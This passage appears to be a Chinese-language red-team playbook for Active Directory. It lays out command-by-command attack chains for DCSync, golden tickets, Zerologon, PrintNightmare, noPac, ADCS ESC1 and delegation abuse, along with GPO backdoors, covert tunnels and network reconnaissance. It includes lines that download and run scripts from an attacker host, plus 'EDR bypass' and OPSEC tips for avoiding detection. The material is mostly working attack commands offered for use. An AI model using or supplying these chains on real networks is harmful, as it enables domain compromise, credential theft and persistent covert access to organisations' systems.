子类：**权限提升** · tags: `acl` `privilege` `active-directory` `escalation`

**前置条件：** 域环境；普通域用户凭证；BloodHound分析结果

**攻击链：**

**1. BloodHound分析**
_查询到域管理员的最短路径_
```
MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name="DOMAIN ADMINS@DOMAIN.COM" RETURN p
```

**2. 查找WriteDACL**  _[windows]_
_查找WriteDACL权限_
```
Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*WriteDACL*"}
```

**3. 利用WriteDACL**  _[windows]_
_添加DCSync权限_
```
Add-DomainObjectAcl -TargetIdentity TARGET$ -Rights DCSync -PrincipalIdentity CONTROLLED_USER
```

**4. 执行DCSync**  _[windows]_
_执行DCSync获取域管哈希_
```
mimikatz.exe "lsadump::dcsync /domain:domain.com /user:Administrator" "exit"
```

**5. 查找GenericAll**  _[windows]_
_查找GenericAll权限_
```
Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*GenericAll*"}
```

**6. 重置密码**  _[windows]_
_重置目标用户密码_
```
Set-DomainUserPassword -Identity TARGET_USER -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force)
```

**EDR 绕过变体：**

**1. 隐蔽操作**
_指定域控制器操作_
```
Add-DomainObjectAcl -TargetIdentity TARGET$ -Rights DCSync -PrincipalIdentity CONTROLLED_USER -DomainController dc.domain.com
```

**分析：** 域内ACL错误配置是常见的权限提升路径，可以通过BloodHound发现。

**OPSEC：** ACL修改会产生日志；优先使用隐蔽的权限；BloodHound可以发现攻击路径

---

### 跨域信任攻击  `domain-cross-trust`
利用域信任关系进行跨域攻击
子类：**跨域攻击** · tags: `trust` `cross-domain` `active-directory` `forest`

**前置条件：** 已获取源域权限；存在域信任关系；目标域信息

**攻击链：**

**1. 枚举信任关系**  _[windows]_
_枚举域信任关系_
```
Get-NetDomainTrust
```

**2. 枚举森林信任**  _[windows]_
_枚举森林信任关系_
```
Get-NetForestTrust
```

**3. 跨域用户枚举**  _[windows]_
_枚举目标域用户_
```
Get-NetUser -Domain target.domain.com
```

**4. 跨域组枚举**  _[windows]_
_枚举目标域组_
```
Get-NetGroup -Domain target.domain.com
```

**5. SID History攻击**  _[windows]_
_利用SID History跨域提权_
```
mimikatz.exe "kerberos::golden /domain:source.domain.com /sid:S-1-5-21-SOURCE /sids:S-1-5-21-TARGET-519 /krbtgt:HASH /user:Administrator /ptt" "exit"
```

**6. 跨域票据**  _[windows]_
_请求目标域票据_
```
asktgt.exe -domain target.domain.com -user Administrator -hash :HASH
```

**EDR 绕过变体：**

**1. 隐蔽跨域**
_指定目标域控制器枚举_
```
Get-NetUser -Domain target.domain.com -DomainController dc.target.domain.com
```

**分析：** 跨域信任攻击可以利用信任关系从低安全域向高安全域移动。

**OPSEC：** 跨域攻击会产生日志；SID History需要特殊权限；森林信任更安全

---

### Zerologon攻击  `zerologon`
CVE-2020-1472 Netlogon提权
子类：**Zerologon** · tags: `zerologon` `cve-2020-1472` `domain`

**前置条件：** 可访问域控制器RPC

**攻击链：**

**1. 检测漏洞**  _[linux]_
_检测漏洞_
```
python zerologon_tester.py DC_NAME DC_IP
检测是否存在漏洞
```

**2. 利用漏洞**  _[linux]_
_利用漏洞_
```
python zerologon_exploit.py DC_NAME DC_IP
将DC密码置空
```

**3. 导出哈希**  _[linux]_
_导出哈希_
```
secretsdump.py -just-dc -no-pass DOMAIN/DC_NAME$@DC_IP
导出域内所有哈希
```

**4. 恢复密码**  _[linux]_
_恢复密码_
```
python zerologon_restore.py DC_NAME DC_IP ORIGINAL_NTLM
恢复域控密码避免破坏
```

---

### PrintNightmare攻击  `printnightmare`
CVE-2021-34527 打印服务漏洞
子类：**PrintNightmare** · tags: `printnightmare` `cve-2021-34527` `rce`

**前置条件：** 可访问打印服务RPC

**攻击链：**

**1. 检测漏洞**  _[linux]_
_检测打印服务_
```
rpcdump.py @DC_IP | grep MS-RPRN
检查打印服务是否可用
```

**2. 利用漏洞**  _[linux]_
_利用漏洞_
```
python CVE-2021-34527.py -target DC_IP -payload DLL_PATH
加载恶意DLL获取SYSTEM权限
```

**3. Impacket利用**  _[linux]_
_使用Impacket_
```
python dementor.py -d domain -u user -p pass \\attacker\share DC_IP
触发加载远程DLL
```

---

### PetitPotam攻击  `petitpotam`
CVE-2021-36942 强制认证攻击
子类：**PetitPotam** · tags: `petitpotam` `cve-2021-36942` `relay`

**前置条件：** 可访问EFSRPC接口

**攻击链：**

**1. 启动中继**  _[linux]_
_启动NTLM中继_
```
python ntlmrelayx.py -t ldap://DC_IP -smb2support --adcs
设置NTLM中继到ADCS
```

**2. 触发认证**  _[linux]_
_触发认证_
```
python petitpotam.py -d domain -u user -p pass attacker_ip DC_IP
强制DC向攻击者认证
```

**3. 获取证书**  _[linux]_
_获取证书_
```
中继成功后获取用户证书
使用证书进行Pass-the-Cert
```

---

### noPac/SAMAccountName攻击  `samaccountname`
CVE-2021-42278/CVE-2021-42287 域提权
子类：**noPac** · tags: `nopac` `cve-2021-42278` `privesc`

**前置条件：** 普通域用户权限

**攻击链：**

**1. 检测漏洞**  _[linux]_
_检测漏洞_
```
python noPac.py domain/user:password -dc-ip DC_IP -debug
检测是否存在漏洞
```

**2. 利用漏洞**  _[linux]_
_利用漏洞_
```
python noPac.py domain/user:password -dc-ip DC_IP -dc-host DC_NAME -shell
获取域管权限
```

**3. 攻击原理**
_攻击原理_
```
1. 创建机器账户(名称类似DC)
2. 清除SPN
3. 请求TGT
4. 删除机器账户
5. 获取域管TGT
```

---

### ADCS滥用攻击  `adcs-abuse`
Active Directory证书服务滥用
子类：**ADCS** · tags: `adcs` `certificate` `domain`

**前置条件：** ADCS服务可访问

**攻击链：**

**1. 枚举ADCS**  _[linux]_
_枚举ADCS配置_
```
certipy find -u user@domain -p password -dc-ip DC_IP
枚举证书模板
```

**2. 请求用户证书**  _[linux]_
_请求证书_
```
certipy req -u user@domain -p password -ca CA_NAME -template User
请求用户证书
```

**3. Pass-the-Cert**  _[linux]_
_使用证书认证_
```
certipy auth -pfx user.pfx -dc-ip DC_IP
使用证书获取TGT
```

**4. Rubeus请求**  _[windows]_
_Rubeus利用_
```
Rubeus.exe asktgt /user:target /certificate:cert.pfx /ptt
使用Rubeus请求TGT
```

---

### ADCS ESC1漏洞  `adcs-esc1`
证书模板ESC1滥用
子类：**ADCS** · tags: `adcs` `esc1` `certificate`

**前置条件：** 存在ESC1配置的模板

**攻击链：**

**1. 识别ESC1**  _[linux]_
_识别漏洞模板_
```
certipy find -u user@domain -p password -vulnerable
查找ESC1漏洞模板
```

**2. 利用ESC1**  _[linux]_
_请求域管证书_
```
certipy req -u user@domain -p password -ca CA_NAME -template ESC1_TEMPLATE -alt admin@domain
指定SAN为域管
```

**3. 认证为域管**  _[linux]_
_认证为域管_
```
certipy auth -pfx admin.pfx -dc-ip DC_IP
使用证书认证为域管
```

---

### 约束委派攻击  `constrained-delegation`
利用约束委派进行横向移动
子类：**委派攻击** · tags: `delegation` `constrained` `kerberos`

**前置条件：** 存在约束委派配置的账户

**攻击链：**

**1. 查找约束委派**  _[windows]_
_查找约束委派账户_
```
Get-ADUser -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation
或
bloodhound查询
```

**2. 获取服务票据**  _[windows]_
_S4U2Self + S4U2Proxy_
```
Rubeus.exe s4u /user:SERVICE_ACCOUNT$ /rc4:HASH /msdsspn:CIFS/target.domain.com /impersonateuser:Administrator
获取域管的服务票据
```

**3. 使用票据**  _[windows]_
_注入票据_
```
Rubeus.exe ptt /ticket:BASE64_TICKET
注入票据并访问服务
```

---

### 基于资源的约束委派  `resource-delegation`
利用RBCD进行权限提升
子类：**委派攻击** · tags: `rbcd` `delegation` `kerberos`

**前置条件：** 对目标对象有WriteDACL权限

**攻击链：**

**1. 创建机器账户**  _[windows]_
_创建机器账户_
```
New-MachineAccount -MachineAccount FAKECOMPUTER -Password $(ConvertTo-SecureString "password" -AsPlainText -Force)
创建新的机器账户
```

**2. 配置RBCD**  _[windows]_
_配置RBCD_
```
Set-ADComputer -Identity TARGET_COMPUTER -PrincipalsAllowedToDelegateToAccount FAKECOMPUTER$
设置委派关系
```

**3. 利用RBCD**  _[windows]_
_利用RBCD_
```
Rubeus.exe s4u /user:FAKECOMPUTER$ /rc4:HASH /impersonateuser:Administrator /msdsspn:CIFS/target.domain.com
获取域管票据
```

---

### DCShadow攻击  `dcshadow-attack`
伪造域控制器注入数据
子类：**DCShadow** · tags: `dcshadow` `domain` `injection`

**前置条件：** 域管理员权限；可注册新DC

**攻击链：**

**1. 注册伪造DC**  _[windows]_
_注册伪造DC_
```
mimikatz # lsadump::dcshadow /object:CN=Target,CN=Users,DC=domain,DC=com /attribute:primaryGroupID /value:519
注册伪造DC并修改对象属性
```

**2. 推送更改**  _[windows]_
_推送更改_
```
在另一个终端:
mimikatz # lsadump::dcshadow /push
推送更改到真实DC
```

**3. 常见利用**  _[windows]_
_常见利用场景_
```
修改用户组:
/object:CN=Target,CN=Users,DC=domain,DC=com /attribute:primaryGroupID /value:519
添加SID History:
/attribute:sidHistory /value:S-1-5-21-xxx-500
```

---

### 组策略滥用  `group-policy-abuse`
滥用组策略进行横向移动
子类：**组策略** · tags: `gpo` `group-policy` `domain`

**前置条件：** GPO编辑权限

**攻击链：**

**1. 查找可编辑GPO**  _[windows]_
_查找可编辑GPO_
```
Get-GPO -All | Where-Object { $_ | Get-GPPermission -TargetType User -TargetName "Domain Users" -PermissionLevel GpoEdit }
查找Domain Users可编辑的GPO
```

**2. 添加计划任务**  _[windows]_
_添加计划任务_
```
New-GPOImmediateTask -TaskName "Backdoor" -Command "cmd.exe" -Arguments "/c calc.exe" -GPODisplayName "VULN_GPO"
添加立即执行的计划任务
```

**3. 添加注册表项**  _[windows]_
_添加注册表启动项_
```
Set-GPPrefRegistryValue -Name "VULN_GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Backdoor" -Value "C:\backdoor.exe"
```

---

### SAM The Admin攻击  `sam-the-admin`
CVE-2021-42278/CVE-2021-42287域提权
子类：**SAM The Admin** · tags: `ad` `cve-2021-42278` `privilege`

**前置条件：** 域用户权限；域控制器存在漏洞

**攻击链：**

**1. 检测漏洞**  _[linux]_
_检测漏洞_
```
python noPac.py domain.com/user:password -dc-ip DC_IP
检测是否存在漏洞
```

**2. 利用漏洞**  _[linux]_
_获取域控权限_
```
python noPac.py domain.com/user:password -dc-ip DC_IP -dc-host DC_NAME -shell
获取SYSTEM Shell
```

**3. 执行命令**  _[linux]_
_执行命令_
```
python noPac.py domain.com/user:password -dc-ip DC_IP -dc-host DC_NAME -command "whoami"
```

---

### NoAuth攻击  `noauth`
CVE-2022-33679 Kerberos认证绕过
子类：**NoAuth** · tags: `ad` `cve-2022-33679` `kerberos`

**前置条件：** 域用户权限；目标账户有RC4密钥

**攻击链：**

**1. 检测漏洞**  _[linux]_
_检测漏洞_
```
python NoAuth.py domain.com/user:password -dc-ip DC_IP -target administrator
检测是否存在漏洞
```

**2. 利用漏洞**  _[linux]_
_获取TGT_
```
python NoAuth.py domain.com/user:password -dc-ip DC_IP -target administrator
获取目标用户TGT
```

**3. 使用TGT**  _[linux]_
_使用获取的TGT_
```
设置KRB5CCNAME环境变量
export KRB5CCNAME=administrator.ccache
使用psexec.py等工具
```

---


## 隧道代理

### FRP内网穿透  `tunnel-frp`
使用FRP建立内网穿透隧道
子类：**TCP隧道** · tags: `frp` `tunnel` `proxy` `nat`

**前置条件：** 公网服务器；内网机器可访问公网；FRP工具

**攻击链：**

**1. 服务端配置**  _[linux]_
_FRP服务端配置文件frps.ini_
```
[common]
bind_port = 7000
```

**2. 客户端配置**  _[windows]_
_FRP客户端配置文件frpc.ini_
```
[common]
server_addr = attacker_ip
server_port = 7000

[rdp]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 3389
```

**3. 启动服务端**  _[linux]_
_启动FRP服务端_
```
./frps -c frps.ini
```

**4. 启动客户端**  _[windows]_
_启动FRP客户端_
```
frpc.exe -c frpc.ini
```

**分析：** FRP可以建立TCP隧道，将内网服务映射到公网。

**OPSEC：** FRP流量可能被检测；考虑使用加密传输；注意隐藏进程

---

### Chisel内网穿透  `tunnel-chisel`
使用Chisel建立内网穿透隧道
子类：**HTTP隧道** · tags: `chisel` `tunnel` `proxy` `http`

**前置条件：** 公网服务器；内网机器可访问公网；Chisel工具

**攻击链：**

**1. 服务端**  _[linux]_
_启动Chisel服务端_
```
./chisel server -p 8000 --reverse
```

**2. 反向SOCKS**  _[windows]_
_建立反向SOCKS代理_
```
chisel.exe client attacker_ip:8000 R:socks
```

**3. 端口转发**  _[windows]_
_端口转发_
```
chisel.exe client attacker_ip:8000 R:3389:127.0.0.1:3389
```

**分析：** Chisel可以建立HTTP隧道，穿透防火墙。

**OPSEC：** Chisel使用HTTP协议；可以绑定域名伪装；流量加密

---

### ReGeorg隧道  `tunnel-regeorg`
通过Web Shell建立隧道
子类：**ReGeorg** · tags: `tunnel` `regeorg` `proxy`

**前置条件：** Web Shell上传；支持脚本语言

**攻击链：**

**1. 上传隧道脚本**
_上传对应语言的隧道脚本_
```
上传tunnel.aspx/tunnel.jsp/tunnel.php到目标Web服务器
```

**2. 建立隧道**  _[linux]_
_启动SOCKS代理_
```
python reGeorgSocksProxy.py -p 1080 -u http://target/tunnel.aspx
```

**3. 配置代理**  _[linux]_
_通过代理扫描_
```
proxychains nmap -sT -Pn target
```

---

### SSH本地转发  `tunnel-ssh-local`
SSH本地端口转发
子类：**SSH** · tags: `ssh` `tunnel` `local`

**前置条件：** SSH访问权限

**攻击链：**

**1. 本地转发**  _[linux]_
_将目标80端口映射到本地8080_
```
ssh -L 8080:target:80 user@jump
```

---

### SSH远程转发  `tunnel-ssh-remote`
SSH远程端口转发
子类：**SSH** · tags: `ssh` `tunnel` `remote`

**前置条件：** SSH访问权限

**攻击链：**

**1. 远程转发**  _[linux]_
_将本地80端口映射到远程8080_
```
ssh -R 8080:localhost:80 user@jump
```

---

### SSH动态转发  `tunnel-ssh-dynamic`
SSH动态SOCKS代理
子类：**SSH** · tags: `ssh` `tunnel` `socks`

**前置条件：** SSH访问权限

**攻击链：**

**1. 动态转发**  _[linux]_
_创建SOCKS代理_
```
ssh -D 1080 user@jump
```

**2. 使用代理**  _[linux]_
_通过SOCKS代理访问_
```
proxychains nmap -sT -Pn target
```

---

### DNS隧道  `tunnel-dns`
通过DNS协议建立隧道
子类：**DNS** · tags: `dns` `tunnel` `covert`

**前置条件：** DNS解析权限；可控域名

**攻击链：**

**1. 使用dnscat2**  _[linux]_
_启动dnscat2服务器_
```
ruby dnscat2.rb evil.com --dns port=53,domain=evil.com
```

**2. 客户端连接**  _[windows]_
_客户端连接到服务器_
```
dnscat2-v0.07-client-win32.exe --dns domain=evil.com --secret SECRET
```

**3. 建立隧道**  _[linux]_
_建立SOCKS隧道_
```
session -i 1
listen 127.0.0.1:1080 10.0.0.1:1080
```

---

### ICMP隧道  `tunnel-icmp`
通过ICMP协议建立隧道
子类：**ICMP** · tags: `icmp` `tunnel` `covert`

**前置条件：** ICMP允许通过；管理员权限

**攻击链：**

**1. 使用icmptunnel**  _[linux]_
_服务端启动_
```
icmptunnel -s 10.0.0.1
```

**2. 客户端连接**  _[linux]_
_客户端连接_
```
icmptunnel -c attacker.com
```

---

### Ligolo隧道  `tunnel-ligolo`
Ligolo内网穿透工具
子类：**Ligolo** · tags: `ligolo` `tunnel` `proxy`

**前置条件：** 可执行代理程序

**攻击链：**

**1. 启动服务端**  _[linux]_
_启动Ligolo代理服务_
```
sudo proxy -selfcert
```

**2. 运行代理**  _[windows]_
_目标机器运行代理_
```
agent.exe -connect attacker:11601 -ignore-cert
```

**3. 创建隧道**  _[linux]_
_创建隧道接口_
```
session
start
```

---

### SOCKS代理  `socks-proxy`
建立SOCKS代理访问内网
子类：**SOCKS** · tags: `socks` `proxy` `tunnel`

**前置条件：** 已有内网访问点

**攻击链：**

**1. SSH SOCKS代理**  _[linux]_
_SSH动态端口转发_
```
ssh -D 1080 user@jumpserver
或
ssh -D 1080 -N -f user@jumpserver
```

**2. ProxyChains配置**  _[linux]_
_配置ProxyChains_
```
编辑 /etc/proxychains.conf:
[ProxyList]
socks5 127.0.0.1 1080

使用:
proxychains nmap -sT target
```

**3. Cobalt Strike SOCKS**  _[windows]_
_CS SOCKS代理_
```
beacon> socks 1080
在CS中启动SOCKS代理
```

**4. Metasploit SOCKS**  _[linux]_
_MSF SOCKS代理_
```
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 4a
run
```

---

### Ngrok内网穿透  `tunnel-ngrok`
使用Ngrok建立内网穿透
子类：**Ngrok** · tags: `ngrok` `tunnel` `penetration`

**前置条件：** Ngrok账号；可访问外网

**攻击链：**

**1. 安装Ngrok**
_安装并配置Ngrok_
```
下载: https://ngrok.com/download
tar -xvzf ngrok.zip
./ngrok authtoken YOUR_TOKEN
```

**2. HTTP隧道**
_创建HTTP隧道_
```
./ngrok http 80
将本地80端口映射到公网
```

**3. TCP隧道**
_创建TCP隧道_
```
./ngrok tcp 3389
将本地3389端口映射到公网
```

**4. 自定义域名**
_使用自定义域名_
```
./ngrok http -hostname=custom.domain.com 80
```

---

### EW内网穿透  `tunnel-ew`
使用EW建立内网穿透
子类：**EW** · tags: `ew` `tunnel` `socks`

**前置条件：** 已有内网访问点

**攻击链：**

**1. 正向代理**  _[linux]_
_正向SOCKS代理_
```
./ew -s ssocksd -l 1080
在跳板机上启动SOCKS代理
```

**2. 反向代理**  _[linux]_
_反向SOCKS代理_
```
攻击机: ./ew -s rcsocks -l 1080 -e 8888
跳板机: ./ew -s rssocks -d attacker_ip -e 8888
```

**3. 多级级联**  _[linux]_
_多级级联_
```
./ew -s lcx_tran -l 1080 -f 2nd_hop -g 9999
多级跳板穿透
```

---

### Venom内网穿透  `tunnel-venom`
使用Venom建立内网穿透
子类：**Venom** · tags: `venom` `tunnel` `socks`

**前置条件：** 已有内网访问点

**攻击链：**

**1. 启动服务端**  _[linux]_
_启动服务端_
```
./venom_server -lport 9999
在攻击机启动服务端
```

**2. 连接客户端**
_连接服务端_
```
./venom_client -rhost attacker_ip -rport 9999
在跳板机连接服务端
```

**3. 建立SOCKS**
_建立SOCKS代理_
```
Venom > socks 1080
建立SOCKS代理
```

**4. 端口转发**
_端口转发_
```
Venom > lforward 127.0.0.1 3389 13389
将内网3389转发到本地13389
```

---


## 信息收集

### BloodHound域分析  `bloodhound-enumeration`
使用BloodHound分析Active Directory攻击路径
子类：**域分析** · tags: `bloodhound` `active-directory` `enumeration` `neo4j`

**前置条件：** 域环境；域用户凭证；BloodHound工具

**攻击链：**

**1. SharpHound采集**  _[windows]_
_使用SharpHound采集域信息_
```
SharpHound.exe -c All
```

**2. PowerShell采集**  _[windows]_
_通过PowerShell远程加载采集_
```
IEX(New-Object Net.WebClient).DownloadString("http://attacker/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All
```

**3. bloodhound-python**  _[linux]_
_使用Python版本采集_
```
bloodhound-python -u user -p password -d target.com -ns dc_ip
```

**4. 指定域控制器**  _[windows]_
_指定域控制器采集_
```
SharpHound.exe -c All --LdapUsername user --LdapPassword pass --DomainController dc.target.com
```

**5. 启动Neo4j**  _[linux]_
_启动Neo4j数据库_
```
sudo neo4j console
```

**6. Cypher查询域管**
_查询域管理员用户_
```
MATCH (n:User) WHERE n.admincount=true RETURN n
```

**7. 查询攻击路径**
_查询到域管理员的最短路径_
```
MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name="DOMAIN ADMINS@DOMAIN.COM" RETURN p
```

**EDR 绕过变体：**

**1. 隐蔽采集**
_随机化文件名避免检测_
```
SharpHound.exe -c All --LdapUsername user --LdapPassword pass --OutputDirectory C:\Users\Public --RandomizeFilenames
```

**分析：** BloodHound可发现域内的攻击路径，如权限提升路径、会话信息、组关系等。

**OPSEC：** BloodHound采集会产生大量LDAP查询；可能触发域控制器告警；建议在非工作时间执行

---

### SPN扫描  `spn-scan`
扫描域内服务主体名称
子类：**SPN** · tags: `spn` `kerberos` `enumeration`

**前置条件：** 域环境；任意域用户凭证

**攻击链：**

**1. 查询所有SPN**  _[windows]_
_查询域内所有SPN_
```
setspn -T domain.com -Q */*
```

**2. PowerShell查询**  _[windows]_
_PowerShell查询SPN用户_
```
Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName
```

**3. Impacket查询**  _[linux]_
_Impacket查询SPN_
```
GetUserSPNs.py domain/user:password -dc-ip dc_ip
```

**4. 查询特定服务**  _[windows]_
_查询HTTP服务的SPN_
```
setspn -T domain.com -Q HTTP/*
```

**5. 查找SQL服务**  _[windows]_
_查询MSSQL服务的SPN_
```
setspn -T domain.com -Q MSSQLSvc/*
```

**分析：** SPN扫描可以发现域内运行的服务账户，为Kerberoasting攻击做准备。

**OPSEC：** SPN查询是正常的域操作；不会触发明显告警；可用于后续Kerberoasting攻击

---

### 内网端口扫描  `port-scan`
内网端口扫描与服务识别
子类：**端口扫描** · tags: `nmap` `port-scan` `enumeration`

**前置条件：** 内网访问权限；扫描工具

**攻击链：**

**1. 快速扫描**  _[linux]_
_快速扫描常用端口_
```
nmap -sS -T4 -F 192.168.1.0/24
```

**2. 全端口扫描**  _[linux]_
_扫描所有65535端口_
```
nmap -sS -p- 192.168.1.1
```

**3. 服务识别**  _[linux]_
_服务版本探测和脚本扫描_
```
nmap -sV -sC 192.168.1.1
```

**4. 内网存活探测**  _[linux]_
_Ping扫描发现存活主机_
```
nmap -sn 192.168.1.0/24
```

**5. Masscan快速扫描**  _[linux]_
_高速端口扫描_
```
masscan -p1-65535 192.168.1.0/24 --rate=1000
```

**6. 操作系统识别**  _[linux]_
_识别目标操作系统_
```
nmap -O 192.168.1.1
```

**7. UDP扫描**  _[linux]_
_扫描常用UDP端口_
```
nmap -sU --top-ports 20 192.168.1.1
```

**8. 漏洞扫描**  _[linux]_
_使用漏洞扫描脚本_
```
nmap --script vuln 192.168.1.1
```

**EDR 绕过变体：**

**1. 隐蔽扫描**
_低速分片扫描，添加随机数据_
```
nmap -sS -T2 -f --data-length 50 192.168.1.1
```

**2. 诱饵扫描**
_使用诱饵IP混淆扫描来源_
```
nmap -sS -D RND:10 192.168.1.1
```

**分析：** 端口扫描可以发现内网中开放的服务，识别潜在的攻击目标。

**OPSEC：** 高速扫描可能触发IDS告警；建议使用较低速率；分时段进行扫描

---

### 域信息收集  `domain-recon`
Active Directory域环境信息收集
子类：**域信息** · tags: `active-directory` `domain` `enumeration`

**前置条件：** 域环境；任意域用户凭证

**攻击链：**

**1. 域信息**  _[windows]_
_获取域信息_
```
net config workstation
```

**2. 域控制器**  _[windows]_
_列出域控制器_
```
nltest /dclist:domain.com
```

**3. 域用户**  _[windows]_
_列出域用户_
```
net user /domain
```

**4. 域管理员**  _[windows]_
_列出域管理员组_
```
net group "Domain Admins" /domain
```

**5. 域信任关系**  _[windows]_
_列出域信任关系_
```
nltest /domain_trusts
```

**6. PowerView收集**  _[windows]_
_使用PowerView收集域信息_
```
IEX(New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1"); Get-NetDomain
```

**7. 获取域策略**  _[windows]_
_获取域密码策略_
```
Get-DomainPolicy
```

**8. 获取域控制器**  _[windows]_
_获取域控制器信息_
```
Get-NetDomainController
```

**分析：** 域信息收集是内网渗透的基础，可以了解域结构、用户、组等信息。

**OPSEC：** 域信息收集是正常操作；不会触发明显告警；为后续攻击做准备

---

### 网络信息收集  `network-recon`
内网网络拓扑和配置信息收集
子类：**网络信息** · tags: `network` `enumeration` `topology`

**前置条件：** 内网访问权限

**攻击链：**

**1. 网络配置**  _[windows]_
_查看网络配置_
```
ipconfig /all
```

**2. 路由表**  _[windows]_
_查看路由表_
```
route print
```

**3. ARP缓存**  _[windows]_
_查看ARP缓存_
```
arp -a
```

**4. 网络连接**  _[windows]_
_查看网络连接_
```
netstat -ano
```

**5. DNS缓存**  _[windows]_
_查看DNS缓存_
```
ipconfig /displaydns
```

**6. Linux网络配置**  _[linux]_
_Linux查看网络配置_
```
ifconfig -a
```

**7. Linux路由表**  _[linux]_
_Linux查看路由表_
```
route -n
```

**8. traceroute**  _[windows]_
_追踪路由_
```
tracert target_ip
```

**分析：** 网络信息收集可以了解内网拓扑、网段划分、网关等信息。

**OPSEC：** 这些是正常的网络管理命令；不会触发告警；为后续横向移动做准备

---

### 共享枚举  `share-enum`
枚举网络共享资源
子类：**共享** · tags: `smb` `share` `enumeration`

**前置条件：** 内网访问权限

**攻击链：**

**1. 枚举共享**  _[windows]_
_查看本地共享_
```
net share
```

**2. 查看远程共享**  _[windows]_
_查看远程机器共享_
```
net view \\target_ip
```

**3. SMBMap枚举**  _[linux]_
_使用SMBMap枚举共享_
```
smbmap -H target_ip -u user -p password
```

**4. CrackMapExec枚举**  _[linux]_
_使用CME枚举共享_
```
crackmapexec smb target_ip -u user -p password --shares
```

**5. smbclient枚举**  _[linux]_
_使用smbclient枚举_
```
smbclient -L target_ip -U user%password
```

**6. PowerView枚举**  _[windows]_
_查找有趣的共享文件_
```
Find-InterestingDomainShareFile
```

**分析：** 共享枚举可以发现敏感文件、配置文件、备份文件等有价值的信息。

**OPSEC：** 共享枚举是正常操作；可能发现敏感文件；注意文件访问日志

---

### 用户枚举  `user-enum`
枚举域内用户信息
子类：**用户** · tags: `user` `enumeration` `active-directory`

**前置条件：** 域环境；任意域用户凭证

**攻击链：**

**1. 列出域用户**  _[windows]_
_列出所有域用户_
```
net user /domain
```

**2. 用户详细信息**  _[windows]_
_查看用户详细信息_
```
net user username /domain
```

**3. PowerView枚举**  _[windows]_
_使用PowerView枚举用户_
```
Get-NetUser | select samaccountname,description,admincount
```

**4. 查找管理员**  _[windows]_
_查找域管理员_
```
Get-NetUser -AdminCount | select samaccountname
```

**5. 查找活跃用户**  _[windows]_
_查找最近登录的用户_
```
Get-NetUser | Where-Object {$_.lastlogon -gt (Get-Date).AddDays(-30)}
```

**6. Impacket枚举**  _[linux]_
_使用Impacket枚举域用户_
```
GetADUsers.py -all domain/user:password -dc-ip dc_ip
```

**分析：** 用户枚举可以发现高价值目标、活跃用户、服务账户等。

**OPSEC：** 用户枚举是正常操作；为后续攻击选择目标；注意识别蜜罐账户

---

### 组枚举  `group-enum`
枚举域内组信息
子类：**组** · tags: `group` `enumeration` `active-directory`

**前置条件：** 域环境；任意域用户凭证

**攻击链：**

**1. 列出域组**  _[windows]_
_列出所有域组_
```
net group /domain
```

**2. 组成员**  _[windows]_
_查看域管理员组成员_
```
net group "Domain Admins" /domain
```

**3. PowerView枚举**  _[windows]_
_使用PowerView枚举组_
```
Get-NetGroup | select samaccountname,admincount
```

**4. 查找高权限组**  _[windows]_
_查找高权限组_
```
Get-NetGroup -AdminCount | select samaccountname
```

**5. 组成员关系**  _[windows]_
_获取组成员_
```
Get-NetGroupMember "Domain Admins" | select membername
```

**6. 递归组成员**  _[windows]_
_递归获取组成员（包括嵌套组）_
```
Get-NetGroupMember "Domain Admins" -Recurse
```

**分析：** 组枚举可以发现高权限组、组成员关系、嵌套组等。

**OPSEC：** 组枚举是正常操作；重点关注高权限组；注意嵌套组关系

---

### GPO枚举  `gpo-enum`
枚举组策略对象
子类：**GPO** · tags: `gpo` `group-policy` `enumeration`

**前置条件：** 域环境；任意域用户凭证

**攻击链：**

**1. 列出GPO**  _[windows]_
_列出所有GPO_
```
Get-GPO -All
```

**2. PowerView枚举**  _[windows]_
_使用PowerView枚举GPO_
```
Get-NetGPO | select displayname,whencreated
```

**3. GPO权限**  _[windows]_
_查找GPO中的受限组_
```
Get-NetGPOGroup
```

**4. GPP密码**  _[windows]_
_查找GPP中的密码_
```
Get-NetGPPPassword
```

**5. 查找可利用GPO**  _[windows]_
_查找用户受哪些GPO影响_
```
Find-GPOLocation -UserName user
```

**分析：** GPO枚举可以发现组策略配置、GPP密码、受限组等信息。

**OPSEC：** GPP密码是常见的信息泄露点；GPO可能包含敏感配置；注意GPO修改权限

---

### ACL枚举  `acl-enum`
枚举访问控制列表
子类：**ACL** · tags: `acl` `access-control` `enumeration`

**前置条件：** 域环境；任意域用户凭证

**攻击链：**

**1. PowerView ACL枚举**  _[windows]_
_获取用户对象的ACL_
```
Get-ObjectAcl -SamAccountName user -ResolveGUIDs
```

**2. 查找危险权限**  _[windows]_
_查找有趣的ACL权限_
```
Find-InterestingDomainAcl -ResolveGUIDs
```

**3. 查找WriteDACL**  _[windows]_
_查找WriteDACL权限_
```
Get-ObjectAcl -SamAccountName target -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*WriteDACL*"}
```

**4. 查找GenericAll**  _[windows]_
_查找GenericAll权限_
```
Get-ObjectAcl -SamAccountName target -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*GenericAll*"}
```

**5. BloodHound ACL分析**
_BloodHound查询ACL关系_
```
MATCH (n)-[r:AllExtendedRights]->(m) RETURN n,m
```

**分析：** ACL枚举可以发现权限配置错误，如WriteDACL、GenericAll等危险权限。

**OPSEC：** ACL错误配置是常见的提权路径；重点关注高价值目标；BloodHound可可视化ACL关系

---

### 信任关系枚举  `trust-enum`
枚举域信任关系
子类：**信任关系** · tags: `trust` `enumeration` `active-directory`

**前置条件：** 域环境；任意域用户凭证

**攻击链：**

**1. 域信任关系**  _[windows]_
_列出域信任关系_
```
nltest /domain_trusts
```

**2. PowerView枚举**  _[windows]_
_使用PowerView枚举信任关系_
```
Get-NetDomainTrust
```

**3. 森林信任**  _[windows]_
_枚举森林信任关系_
```
Get-NetForestTrust
```

